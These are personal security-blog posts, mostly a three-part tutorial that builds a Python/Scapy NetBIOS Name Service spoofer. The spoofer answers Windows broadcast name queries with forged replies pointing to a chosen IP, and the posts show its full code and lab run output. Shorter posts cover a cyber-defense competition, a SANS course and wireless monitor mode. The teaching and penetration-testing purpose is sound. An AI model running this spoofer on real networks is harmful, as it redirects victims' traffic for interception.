Sometimes you just can’t help yourself but to poke at a phishing site…

So it isn’t that impressive, through a POST’d variable, but it is kinda funny. It brings up the point that attack tools, exploits, schemes, and systems have vulnerabilities just like “legitimate” software. Just because they’re in the field of security (on the wrong side) doesn’t mean they write secure code ;) .

It’s a situation where there’s a return-on-investment for the effort put into the creation of, say, a phishing site. Spending more time making the phishing site more robust doesn’t make any more people fall for it and doesn’t bring in more money. For this reason, that time isn’t invested.

 

So the smoke has cleared and the dust has settled on the judging, discussions, and drama surrounding the Southeastern Collegiate Cyber Defense Competition, and the final rankings have been released. We did better than we had been previously led to believe! The top three teams (out of 9 teams) are:

  1. Louisville
  2. UNC Charlotte
  3. Mississippi State

We wound up in third place! Not bad at all :) . Once again, I had a really great team with me at this competition and we both had a whole lot of fun regardless of how things turned out.

In other news, I have an official release, web page and all, for the NetBIOS Name Service spoofer that I have been posting a tutorial about over the last several days:

Enjoy!

 

This is the third and final post of a short series that demonstrate the creation of a simple security/penetration-testing application. The end-result is a simple NetBIOS Name Service spoofer, written in Python.

If you’re enjoying the packet analysis aspects of this, you might be interested in the SANS IP Packet Analysis course I’ll be teaching soon

In the previous post, we got nbnspoof to the point that it could sniff NetBIOS Name Service (NBNS) queries and responses, as well as a basic framework for the rest of the application. Today, I’m going to cover the additional steps we can take to make nbnspoof actually recognize when it should spoof a response, and craft the necessary packet to make the victim associate a given name with an IP address of our choice. This should conclude this series for the most part (although I may revisit it later if something interesting comes up).

If you want to follow along with the code, or just want to go ahead and start using nbnspoof (it’s in pretty good shape right now), here’s the current code:

First, let’s discuss some of the changes that were made to the last entry’s code. Most notable is the fact that we’ve changed some of the variables to be global:

global verbose
global regexp
global ip
global interface
global mac_addr

The reason for this change is that our get_packet() function will need to use this information, however the sniff() function does not pass the above data to get_packet() as an argument. The easiest solution to this was to simply make these user-specified options global. You’ll notice the addition of the “mac_addr” variable. This is meant to specify what MAC address the spoofed responses should have their source set as. There is also a command-line option added for this, and the usage() text reflects this:

-m The source MAC address for spoofed responses

I have decided to make this a required option, rather than defaulting to the actual MAC address of the interface. I believe that if one wants to use the actual MAC address, that should be a conscious decision. Typically, you would want this to reflect the address of the host on the local network that you are directing the victim to with your spoofing (if it is on the local network) or perhaps the gateway (if it’s outside the local network).

You’ll remember from the previous post that Scapy was dissecting NBNS responses as queries with some raw data stuck on the end. Because of this, we’ll be doing the packing and unpacking of IP addresses for responses ourselves. Here’s the code for that:

def pack_ip(addr):
   temp = IP(src=addr)
   return str(temp)[0x0c:0x10]

def unpack_ip(bin):
   temp = IP()
   temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
   temp = IP(temp)
   return temp.src

You’ll notice that these two functions leverage Scapy’s ability to pack and unpack IP addresses by crafting an IP packet in memory and setting or reading its source address. This wouldn’t have been hard to do ourselves (it’s just four bytes, each representing a number in the dotted-quad format), but it seems cleaner to let Scapy do it for us, even if it is a bit of a hack. It’s nice how Scapy can go back and forth between using attributes of packets and binary string representations so easily. One benefit of this is that if, for whatever reason, one wanted to supply a domain name instead of an IP address for the -h option, Scapy would do the lookup and conversion to IP address for us.

Another issue we glossed over yesterday was how we were going to match queries with the regular expression the user provides. We compile the regular expression in main() so we don’t have to do it for each query:

 regexp = re.compile(name_regexp,re.IGNORECASE)

Note that, since NetBIOS names are always going to be uppercase, we have specified the IGNORECASE option, so that the user-supplied regular expressions are case-insensitive. In our get_packet() function, we kick off the code block to craft fake NBNS responses with this test:

   if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1):

The .rstrip() function of strings in Python removes the trailing whitespace (remember that the names in NBNS packets are padded out to 15 characters). So, if the current packet is a query, and matches the regexp the user provided, we can move on to crafting and sending a response:

      response  = Ether(dst=pkt.src,src=mac_addr)
      response /= IP(dst=pkt.getlayer(IP).src,src=ip)
      response /= UDP(sport=137,dport=137)

One neat thing about Scapy is that it overloads the division operator (‘/’) for packets to make it a sort of concatenation/layering operator. Here we craft our response packet by giving it an Ethernet header, then tacking IP and UDP headers onto the end of it. The destination MAC and IP addresses are set to the source of the sniffed packet, and the source MAC and IP are set to the information supplied by the user. Next, we get into the creation of the NBNS section of the packet, starting with the information that Scapy can deal with:

response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
                                  FLAGS=0x8500,\
                                  QDCOUNT=0,\
                                  ANCOUNT=1,\
                                  NSCOUNT=0,\
                                  ARCOUNT=0,\
                                  QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
                                  SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
                                  NULL=0,\
                                  QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
                                  QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)

This monster function call adds in a “NBNSQueryRequest” layer, and the arguments specify all the information needed to make this into a response. You’ll notice that the options we’re setting to actual values, we’re using the values from the response packet we sniffed in the first part of this series. The other options are being set from the corresponding information from the sniffed request, such as the transaction ID and name. An NBNS response requires some more data than just this, and Scapy won’t handle the rest for us, so we’ll add it to the packet as a “Raw” payload and pack it in ourselves:

response /= Raw()
# Time to live: 3 days, 11 hours, 20 minutes
response.getlayer(Raw).load += '\\x00\\x04\\x93\\xe0'
# Data length: 6
response.getlayer(Raw).load += '\\x00\\x06'
# Flags: (B-node, unique)
response.getlayer(Raw).load += '\\x00\\x00'
# The IP we're giving them:
response.getlayer(Raw).load += pack_ip(ip)

I’ve separated this part out by field, and commented them based on how they’re named in Wireshark’s dissection, so that it’s not just one incomprehensible string of data. Something you want to pay attention to is that “Time to Live” field. I’m not sure how long Windows will really let you cache one of these responses, but this would be something to modify if you’re into playing around with this script. The time that’s hard-coded seems to be what Windows XP likes to hand out with its responses, though.

Finally, after packing in the last field, which is the IP address we’re making the name resolve to, we send the packet on its way:

      sendp(response,iface=interface,verbose=0)
      if verbose:
         print 'Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID)

We specify the interface, and tell it to silence sendp’s visual confirmation of packet sending. If the user wanted verbose output, we print out a message saying that we spoofed a reply to the request with a specific transaction ID. The response we sent will be picked up by sniff() as well, so it will be displayed with a dissection as well in verbose mode.

That’s it! It works! Let’s see how it looks when we run it:

$ sudo ./nbnspoof.py -v -i vmnet8 -n ".*\..*" -h 172.16.185.1 -m 00:0c:29:27:be:ef
32949: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"HELLO.WOR      "
Sent spoofed reply to #32949
32949: R SRC:172.16.185.1 DST:172.16.185.133 NAME:"HELLO.WOR      " IP:172.16.185.1
32950: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"XPPROTEST2     "
32950: R SRC:172.16.185.132 DST:172.16.185.133 NAME:"XPPROTEST2     " IP:172.16.185.132

In this test run, on the VMWare network between the host Linux machine (172.16.185.1) and the two Windows VMs (.132 and .133), I ran nbnspoof in verbose mode, set with a regular expression to only spoof responses for names that contain a period (‘.’). This is a quick-hack way of catching mistyped domain names and such, while letting most legitimate request local network systems go. I specified the Linux host for the IP address, and a silly MAC address with a VMWare vendor prefix. From “xpprotest”, I first pinged “hello.wor” which nbnspoof matched and spoofed for me, and then I pinged “xpprotest2″ which is (correctly) ignored.

So that settles it. We now have a nice tool for demonstrating how Windows name resolution can be spoofed in certain situations. More importantly, I hope some people have learned a bit about Scapy and the sort of procedure one might follow in developing a simple penetration testing application like this. Hopefully, this will be something you can apply to many situations :) .

 

This is the second post of a short series of entries that demonstrate the creation of a simple security/penetration-testing application. The end-result will be a simple NetBIOS Name Service spoofer, written in Python.

If you’re enjoying the packet analysis aspects of this, you might be interested in the SANS IP Packet Analysis course I’ll be teaching soon

In the previous part of this series, we took a look at the NetBIOS Name Service (NBNS) query and response packets in order to get an idea of what we would need to do to craft our spoofed responses. Today, we’re actually going to start writing some code, with the goal being to get a basic skeleton of our spoofer up and running. At the end of this part, we’ll have nbnspoof to the point that it’ll sniff for, dissect, and display NBNS queries and responses,

If you’re following along at home, the only requirements for the code is a working installation of Python and the excellent packet manipulation library Scapy. Scapy may be in your operating system’s repositories (it is for Ubuntu at least). If it’s not, it shouldn’t be too difficult to install by hand, following the instructions on the Scapy homepage. The code we’re looking at today is available at:

One thing that we want to do before we start coding is to see how Scapy decodes these NBNS packets. Scapy has an interactive mode that gives you access to a python interpreter and all of the scapy functionality, so we can use it to look at one of our packet dumps from yesterday:

weasel@hacktop:~/Desktop/nbnspoof$ scapy
Welcome to Scapy (1.0.4.1beta)
>>> pkts = rdpcap("ping_with_nbns_response.pcap")
>>> pkts
<ping_with_nbns_response.pcap: ICMP:8 UDP:6 TCP:0 Other:4>
>>> pkts.show()
0000 Ether / ARP who has 172.16.185.2 says 172.16.185.133
0001 Ether / ARP is at 00:50:56:e8:0b:97 says 172.16.185.2
0002 Ether / IP / UDP / DNS Qry "xpprotest2.localdomain."
0003 Ether / IP / UDP / DNS Ans
0004 Ether / IP / UDP / DNS Qry "xpprotest2.localdomain."
0005 Ether / IP / UDP / DNS Ans
0006 Ether / IP / UDP 172.16.185.133:netbios-ns > 172.16.185.255:netbios-ns / NBNSQueryRequest
0007 Ether / ARP who has 172.16.185.133 says 172.16.185.132
0008 Ether / ARP is at 00:0c:29:27:b9:f0 says 172.16.185.133
0009 Ether / IP / UDP 172.16.185.132:netbios-ns > 172.16.185.133:netbios-ns / NBNSQueryRequest / Raw
0010 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0011 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0012 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0013 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0014 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0015 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw
0016 Ether / IP / ICMP 172.16.185.133 > 172.16.185.132 echo-request 0 / Raw
0017 Ether / IP / ICMP 172.16.185.132 > 172.16.185.133 echo-reply 0 / Raw

In the above session, I started Scapy, loaded a list of packets from a pcap dump, showed a summary of the number of packets of each type, and then listed a summary of each packet in the dump. From the looks of the output, it seems that packet 6 is the NBNS query, and packet 9 is the result. Let’s take a close look at those:

>>> pkts[6]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:0c:29:27:b9:f0 type=IPv4 |
<IP  version=4L ihl=5L tos=0x0 len=78 id=64 flags=
frag=0L ttl=128 proto=UDP chksum=0x6eb9 src=172.16.185.133
dst=172.16.185.255 options='' |<UDP  sport=netbios-ns
dport=netbios-ns len=58 chksum=0x5224 |<NBNSQueryRequest
NAME_TRN_ID=32799 FLAGS=272 QDCOUNT=1 ANCOUNT=0
NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='XPPROTEST2     '
SUFFIX=workstation NULL=0 QUESTION_TYPE=NB
QUESTION_CLASS=INTERNET |>>>>
>>> pkts[9]
<Ether  dst=00:0c:29:27:b9:f0 src=00:0c:29:03:ad:f7 type=IPv4 |
<IP  version=4L ihl=5L tos=0x0 len=90 id=35 flags= frag=0L
ttl=128 proto=UDP chksum=0x6f45 src=172.16.185.132
dst=172.16.185.133 options='' |<UDP  sport=netbios-ns
dport=netbios-ns len=70 chksum=0xd516 |<NBNSQueryRequest
NAME_TRN_ID=32799 FLAGS=34048 QDCOUNT=0 ANCOUNT=1
NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='XPPROTEST2     '
SUFFIX=workstation NULL=0 QUESTION_TYPE=NB
QUESTION_CLASS=INTERNET |
<Raw  load='\x00\x04\x93\xe0\x00\x06\x00\x00\xac\x10\xb9\x84' |>>>>>

From the above, Scapy appears to recognize and dissect the packets (which are the same packet we looked at in Part 1 in Wireshark) fairly well. It looks like we’ll have to mask out bits in the “FLAG” field ourselves, but that’s not a big deal. Also, you’ll notice that the response is the same thing as a query basically, with the actual “answer”, including the IP address, tacked on at the end in the “Raw load” layer. This means that when we build our responses up in our code, we’ll have to handle all the fields in this section ourselves, which won’t be hard. We can use Wireshark as a reference to see how it is dissected/crafted.

One nice thing we can observe from what Scapy has done with these packets is that it has the ability to decode and encode the names from that crazy encoding scheme we saw in the previous post. That’ll save us some headaches and effort. This encoding is called “First Level Encoding”, and was created in some sort of attempt at getting NetBIOS to play nice with DNS. It involves taking each byte of the name, splitting apart the upper and lower 4 bits, and adding each 4 bits to the letter ‘A’ in hex. It’s not too complex, but it’s nice that we won’t have to deal with it in our code :) .

Speaking of code, we’re at a place that we can start writing some. For larger projects you’ll want some sort of requirements and/or design documents to help guide your process, but this is going to be a very simple program. Even in its simplicity, however, you want some sort of guideline for how you want your program to operate. In this case, I want the ability to tie nbnspoof to an interface, have it listen for any NBNS queries for names matching a regular expression, and craft responses to these queries that points them to a given IP address.

Given this information, I want to write the “usage” text for the program first, so I have some reminder of how it should behave. This will be what is displayed if someone runs nbnspoof with zero or invalid arguments. This may change in the development of the program, but here’s what we’re starting with:

def usage():
   print """Usage:
nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address>

-v Verbose output of sniffed NBNS name queries, and responses sent

-i The interface you want to sniff and send on

-n A regular expression applied to each query to determine whether a
   spoofed response will be sent

-h The IP address that will be sent in spoofed responses
"""
   return

(I’ll be skipping around in the code, so if you’re hardcore into this or have questions, you may want to follow along in the source code itself to see what I’m skipping)

So we have three required arguments (they’re in angle braces): an interface to listen and inject on, a regular expression for names to match, and an IP address to send in the responses. There is a single optional argument, in square brackets, that specifies whether or not we want “verbose” output. The verbose output will include a summary of NBNS requests and queries as they are sniffed, as well as notification of what packets it has crafted and sent off.

To parse these arguments taken in from the command line, we use Python’s “getopt” module in the following code:

def main():
   global verbose
   try:
      opts, args = getopt.getopt(sys.argv[1:],"vi:n:h:")
   except:
      usage()
      sys.exit(1)

   verbose = False
   interface = None
   name_regexp = None
   ip = None

   for o, a in opts:
      if o == '-v':
         verbose = True
      if o == '-i':
         interface = a
      if o == '-n':
         name_regexp = a
      if o == '-h':
         ip = a

   if args or not ip  or not name_regexp or not interface:
      usage()
      sys.exit(1)

It’s fairly simple. The list of arguments passed from the shell is given to getopts, with a format string to tell it what options to look for, and which ones have arguments (designated by a colon after the letter). If this throws an exception (usually because the user didn’t supply any arguments), the usage text is displayed and the program exits.

After declaring our variables with default values, we go into an interesting loop. “opts” holds an array of tuples, each one containing an option and its argument. For each, we test to see if it’s one we know and care about, and set up our variables with that option’s argument. After we’re finished doing that, we check to see if any of our required options were not given, and whether or not we have any extra arguments left over. If anything seems fishy, we remind the user of the usage() and exit.

All of this required a bit of effort, and makes up what will be a good chunk of our code, but it helps the program look professional. A penetration tester of any skill should be able to pick it up and figure out how to use this in a fairly short amount of time.

With the preliminaries and preparation out of the way, we can get down to some serious network business! You really won’t believe how easy it is to set up a sniffer using the Scapy library. Here we go:

   sniff(iface=interface,filter="udp and port 137",store=0,prn=get_packet)

Wow, huh? It’s pretty self explanatory, but here we go: First, we tell it what interface to sniff and inject on, based on what the user told us (eth0, eth1, etc). Next, we have a BPF filter that tells the libpcap library to only send us UDP packets that involve port 137. This is for the sake of performance, and to prevent cases where Scapy might accidentally identify something on another port as being NBNS traffic (Perhaps someone trying to detect a user of nbnspoof would craft NBNS packets on another port to see if the nbnspoof user would respond when a Windows machine wouldn’t). The “store” argument is set to zero, because once we’ve dealt with each packet, we’re going to throw it away. Otherwise, the sniff function will store and return a list of packets, which would waste memory, as we won’t be using it.

Finally, the “prn” argument is set to get_packet. “prn” allows you to set a “call-back” function. What this means, is that for every packet that sniff() sees, it will pass that packet to the call-back function. Here, we have set it to get_packet, which is our function for dissecting, displaying, and crafting packets based off the NBNS queries we see. This function is where most of the real work of nbnspoof will be done. Let’s take a look at it is working so far:

def get_packet(pkt):
   if not pkt.getlayer(NBNSQueryRequest):
      return

   if pkt.FLAGS & 0x8000:
      query = False
      ip = '127.0.0.1'
   else:
      query = True

First off, we see if the packet has the “NBNSQueryRequest” layer, as far as Scapy is concerned. This will help us weed out anything that might show up on this port that isn’t NBNS related. Remember, that Scapy sees NBNS response packets the same way, so both queries and results will pass this test.

Next, we test the FLAGS section of the NBNS data to see if this packet is a query or request, we do this by testing to see if the flags, logically AND’d with 0×8000 (binary: 1000000000000000) is true or not. If the bit is set, then it is a response. Now, for the sake of the “verbose” option, we would want to decode from the packet what IP address this response would be. Right now, we don’t have this code in place, so we’re just putting in ’127.0.0.1′ as a placeholder. If the bit isn’t set, then it’s a query.

   if verbose:
      print str(pkt.NAME_TRN_ID) + ":",
      if query:
         print "Q",
      else:
         print "R",
      print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst,
      if query:
         print 'NAME:"' + pkt.QUESTION_NAME + '"'
      else:
         print 'NAME:"' + pkt.QUESTION_NAME + '"',
         print 'IP:' + ip

If we have the “verbose” option set, we want to display a summary of the current packet. This includes the transaction ID that uniquely pairs a question and response, the status of it being a query or response, source and destination IPs, and what name is being looked up. Now that we’ve covered what we have of the code so far, let’s use it to watch NBNS traffic between two Windows VMs:

weasel@hacktop:~/Desktop/nbnspoof$ sudo ./nbnspoof.py -v -i vmnet8 -n unused -h unused
32878: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"XPPROTEST2     "
32878: R SRC:172.16.185.132 DST:172.16.185.133 NAME:"XPPROTEST2     " IP:127.0.0.1
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "
32879: Q SRC:172.16.185.133 DST:172.16.185.255 NAME:"EXAMPLE.CPM    "

You’ll notice that even though we’re not doing anything with the regexp or IP address, we still need to specify them to get past our own checks :) . The above output is from pinging from “xpprotest” to “xpprotest2″, and then attempting to ping “example.cpm”. Some things to note:

  • Transaction IDs for NBNS seem to be sequential! Stick that in your pocket for the next time you’re doing passive profiling/fingerprinting. Maybe I should try sniffing a machine as it boots up to see if it always starts at the same number.
  • The name is always going to be 15 characters, all caps, padded out with spaces. This has to do with the encoding of the name in these NBNS packets, rather than a limitation of our script or Scapy. If a host tries to resolve a non-existent name that’s longer than this, it doesn’t try NBNS, so this’ll limit what names we can spoof for.

I hope you enjoyed this! The next part will take us through matching names we want to spoof for, dissecting and crafting response packets, and sending them to the machines that broadcast the queries.

 

This is the first of a short series of entries that demonstrate the creation of a simple security/penetration-testing application. The end-result will be a simple NetBIOS Name Service spoofer, written in Python. The introduction to this series, including the discussion of the issue we are exploiting, is available here.

If you’re enjoying the packet analysis aspects of this, you might be interested in the SANS IP Packet Analysis course I’ll be teaching soon

The first order of business is to see what we’re getting into. We already know that the NetBIOS Name Service (NBNS) requests are sent as broadcast UDP, so it’d be nice to take a look at these packets to get an idea of the format, and how the responses look under normal circumstances. We’ll be able to use this information to craft our own malicious responses later.

The best way to examine the NBNS packets and behavior is to capture the traffic coming from real Windows machines. Given that many of you may not have a network with a couple of Windows machines that you’re allowed to tinker and sniff on, we’ll do this through the magic of virtualization. You also may be like me, somewhat of a nomadic hacker, so your mobile lab is your laptop.

It doesn’t really matter what virtualization software you use, but I’m going to make a strong recommendation for VMWare Server, for the following reasons:

  • It’s free. A lot of people I talk to know that VMWare Player is free, however they do not realize that Server is also a free product.
  • It’s very easy to install in Ubuntu. There’s a how-to here.
  • Nice interface. Similar to Workstation, however it’s separated into a client and server. That said, here’s nothing wrong with running both on the same machine. It’s very easy to create and manage VMs.
  • Great network configuration. It’s very easy to set things up to be either bridged, NAT’d, or completely isolated. This is important when you’re doing stupid network tricks like this.

So, I have created two virtual Windows XP machines, that are sitting in VMWare on a NAT’d network (172.16.185.0/24), so the NetBIOS traffic is contained between the VMs and the host OS. I can use Wireshark to sniff on the interface the host OS is using for the NAT’d network, and capture this traffic. Once the testing environment is set up, I can run a couple of scenarios to see what the NBNS traffic actually looks like.

First, I test the scenario described in the previous blog entry, where a user typo’s a domain name and the OS resorts to NBNS to try and resolve “example.cpm”. So, in one of my VMs, I pull up IE, and try to go to “example.cpm”. This pcap file is a capture of the traffic:

You can see, if you open this file in Wireshark, that the Windows machine gave the DNS server (.2) a chance at resolving “example.cpm”. The DNS server responds that there is no such name, so Windows tries again for “example.cpm.localdomain”, which is also non-existent. The next three packets are of interest! Three times, in intervals of one second, the Windows machine sent out a broadcast UDP packet, containing an NBNS Name qeury for “EXAMPLE.CPM”.

Now that we’ve verified the behavior discussed yesterday, we can take a look at what a legitimate NBNS Name query response looks like. For this, I had one Windows VM (xpprotest) ping another Windows VM (xpprotest2) on the NAT’d network. The sniffed results are in this pcap file:

Taking a look at this dump, the same process as the other dump can be observed, winding up with an NBNS Name query for “XPPROTEST2″. This time, however, the host being qeuried is there, and it responds with a NBNS Name query response, stating that “XPPROTEST2″ is at 172.168.185.132. Let’s take a closer look at the request, in this screen shot:

It’s pretty straightforward. There’s a 16 bit transaction ID for pairing responses up with queries, and a set of flags which identifies this NetBIOS traffic as a name query. You’ll notice that the host name, “XPPROTEST2″, which is highlighted in both the dissection and hex panes, is encoded in a way you might not be familiar with. We’ll deal with this later when we write some code to capture and deal with these packets.

For now, let’s look at the response from “XPPROTEST2″:

If you compare the two, you’ll see they’re very similar. The flags reflect that it is a response, as does the number of “answers”. There is some additional information tacked on at the end, regarding how long the results are valid, and finally the interesting bit (highlighted): the IP address that corresponds with “XPPROTEST2″.

So, to wrap things up for this entry, you’ve seen how to do some simple analysis to get the information necessary to write this app. Next time I’m going to get into how to look at these packets in Scapy and we’ll get started deciding what our nbnspoof app will do, and start a bit on the code.

 

While I was sleeping off the cyber-defense competition and spending some time with my wife over spring break, the security scene kept moving, of course. Yesterday, a friend of mine pasted me a link to an interesting attack. Interesting, in that it’s simple, obvious, and the sort of thing you kick yourself in the butt for not thinking of trying before.

Here is the blog entry by Sumit Siddharth, with a link to a more detailed writeup. It’s simple enough that the writeup is one page :) . The basic idea is that if a Windows host can’t find a domain name’s IP address by local information, DNS, or WINS, the next step is to look for it with a NetBIOS Name Service request (assuming that they have NetBIOS over TCP/IP enabled)..

These NBNS requests are sent out as broadcast UDP, and are just begging to have crafted responses sent back. So, if someone on the local network fat-fingered and tried to go to “example.cpm”, rather than “example.com”, Windows would wind up giving the local network a shot at it with NBNS. At this point, all the attacker has to do is send a response back with “oh yes, thank you, EXAMPLE.CPM is at [attacker-controlled ip]“.

How easy is that! I was aware of this behavior, as I have often observed it on networks when the uplink (and DNS server) is out of commission. Clients’ web browsers, email clients, spyware, and whatever else make Windows pump out NBNS requests for GMAIL.COM, POP.EXAMPLE.COM, WEATHERBUG.COM and the like. It never occurred to me to try and craft a response, so it’s a huge “duh” moment for me right now. I suppose I was always too annoyed at the network taking a dive than to think carefully about what I was seeing ;) .

So there’s a lesson learned: Every bit of unexpected behavior is a potential vector for a new attack.

There’s a link in the article to a tool, FakeNetbiosNS, which seems OK, although I’m pretty sure I’d rather write my own, using Scapy. This should make things very simple and allow me to work the results into just about any other kind of app I hack together in Python. So, I’m planning on doing just that, and as a bonus, if it goes well, I plan on documenting the development of it in some blog entries. I think it’d be helpful to some to see the process of creating a really simple tool from start to finish.

 

I’m really excited to announce that I will be teaching the SANS Stay Sharp: IP Packet Analysis training course here on the Mississippi State Campus, in cooperation with the Center for Computer Security Research. This will take place on Thursday, May 10th, from 6 to 9 PM. You can find out more information about the class and how to register here.

The class is an excellent introduction to getting your hands dirty with analyzing pcap dumps with various tools, and even how to do it manually. I feel that the latter is very important when you first learn about the various protocols involve, and comes in very handy when you eventually run across packets that are either malformed or part of a protocol you aren’t familiar with yet. It’s a useful skill that will come in handy not only in incident response, but also in writing custom rules for firewalls and intrusion detection systems.

If you sign up, be sure to tell them that Wesley McGrew referred you ;) . I’m looking forward to meeting the attendees and making it an enjoyable and educational experience. I’d like for everyone to be able to walk away with techniques they can immediately apply.

As a final note, it is likely that my wife will be making some of the sweets available as refreshments. Those of you who have experienced Crystal’s baking can vouch that it’s worth the price of admission for this reason alone.

 

After wrangling a bit with a good way to add it to the “services” section, I have added a training section to the site as a top-level section, and should be accessible from the menu at the top of each page. This will wind up being where you can get information on the training and lectures that I present. Very Soon Now, it’ll have information about the SANS courses that I will be teaching on the Mississippi State University campus.

I’ll also be providing materials for many of the lectures and such that I personally create. That is the case with the first entry to this new section. I will be lecturing the Distributed Client-Server Programming class at Miss. State on Tuesday, so I needed a place for the students to download the slides and handouts :) . Hopefully others will find it interesting as well.

The topic for this lecture is Web Application Security, and it serves as an introduction. The students have been learning how to develop web-based applications in this class, and this should hopefully raise their awareness of the threats their applications will face. There is a low barrier of entry to attacking web apps, and I think this will open their eyes to that fact.

A comprehensive look at the topic would take many days of lecturing, so I’ve limited this to a handful of the most pressing issues that illustrate the problems with untrusted clients and unfiltered input. I cover the problems with obscured interfaces, hidden form elements, client-side filtering, cross-site scripting, SQL injection, session handling, and password storage. These are the problems I see time and time again with the student projects in this class (and production web apps!), so I figure that awareness is a good starting point. Stuffing values into hidden form elements so that you don’t have to retrieve them from the database later when it gets POSTed sounds like a wonderful idea until someone shows you how easy it is to modify that data ;) .

The slides and handouts are available here.

 

The IPW2200 (Intel Pro Wireless) is a pretty nice Mini-PCI (not sure if there are any PCMCIA ones) wireless card that seems to have come in a lot of Dell laptops. The Inspiron 600M I used to use has one, and everything just worked in Linux both in terms of normal usage and monitor-mode tomfoolery. I gave the 600M to my wife and tracked down a much smaller and lighter Latitude C400 for myself, which came with an IPW2100, which uses the Hermes chipset, much like older Lucent Orinoco Gold cards (the IPW2200 and later models have their own driver in the kernel).

The Hermes-based IPW2100 was fine, even without support for G networks or WPA, since most of the networks I connected to were either B networks, or had a slow enough pipe to the Internet that it didn’t matter. When I wanted security, I used a VPN. Now, the campus has an 802.1x wireless network, however my poor IPW2100 wasn’t having an of it. A friend had just given me a spare IPW2200 so the C400 laptop went under the knife (screwdriver, actually) to replace the old with the new. It’s a very nice card, I believe. Kismet has no troubles throwing it into monitor mode, and I do think I’m getting slightly better range with it versus the 2100.

This past weekend, on the way to the competition, we were marveled by the number of wireless networks one sees when going around Atlanta. Dozens and dozens of networks. This got a few of us talking about various cards, what modes are supported, and such things. A friend and fellow team member, Jonathan Pittman, mentioned that there was a relatively new mode supported by the IPW2200 drivers called “radiotap”.

He demonstrated this radiotap mode to me and it was really neat. In this mode, you have your normal device (say, “eth1″) that you can associate to an access point and participate on a network with, and a second interface (“rtap0″) that allows other programs to listen in, monitor-mode style, with 802.11 headers and information. So, you can run Kismet, tcpdump, or whatever on the “rtap0″ interface, while you’re actually associated and using a network on the “eth1″ interface.

The limitation is that you can’t go channel hopping on the “rtap0″ interface. So you will only be able to see the packets from channels on the same network as the one you are associated to. It’s still a neat trick, and could come in handy :) .

To enable it, you will probably need to load up the module with the rtap_iface option set:


modprobe ipw2200 rtap_iface=1

You’re supposed to be able to set it with the following too, however I didn’t have any luck:


echo 1 > /sys/bus/pci/drivers/ipw2200/*/rtap_iface

Either way, once you get it going, rtap0 is now your monitor-like interface to what’s happening on the current channel. In complete contradiction of anything intuitive, however, Kismet will still use the “normal” interface. Here’s how I have the source set in kismet.conf:


source=ipwlivetap,eth1,ipw2200-livetap

Strange but true :-D .

If you have one of these cards, have fun with this! There are some patches floating around to allow injection in monitor mode, and to allow the card to go into Master mode (to act as an AP). I’m probably going to look into that sort of thing and do a short writeup if I’m able to get those going.

 

The Southeast Collegiate Cyber Defense Competition was a lot of fun! I had a great team on my hands that not only made the 16 hours of competition time manageable, but also made the trip, mornings, and nights a blast as well. We did not place, although I felt that we did an excellent job of defending our network against the Red Team. The competition was also about the business and systems administration side of things, however, and the focus on this was much higher than we had expected, having not attended the previous year. We weren’t as prepared in those areas as we were more concerned with security (our area of interest anyway).

It’s fine with me, though, as I didn’t mind not getting 1st through 3rd, so long as we didn’t get completely owned! I have a reputation to consider ;) . We had a lot of fun with it, and I think everyone we brought with us learned something new, often not even as part of the competition, but from our extensive discussions on the way up there and back.

UNC did a wonderful job of putting on the competition and it amazed us how much preparation went into putting it together. Everything went fairly close to schedule, and the judges had mountains of correspondence with the teams to sift through to make their decisions. All of the room judges and couriers were incredibly friendly, and the Red Team played the role of a proper villain and made a great presentation at the end.

The nights were fun, piled up in a hotel room doing last-minute research, preparations, and discussion. The last night there, we went and saw “300″ and it is every bit as amazing as everyone has stated.

Now that I’m back and getting rested up, I’ll be posting content again on a regular basis starting tomorrow!

© 2012 McGrew Security Suffusion theme by Sayontan Sinha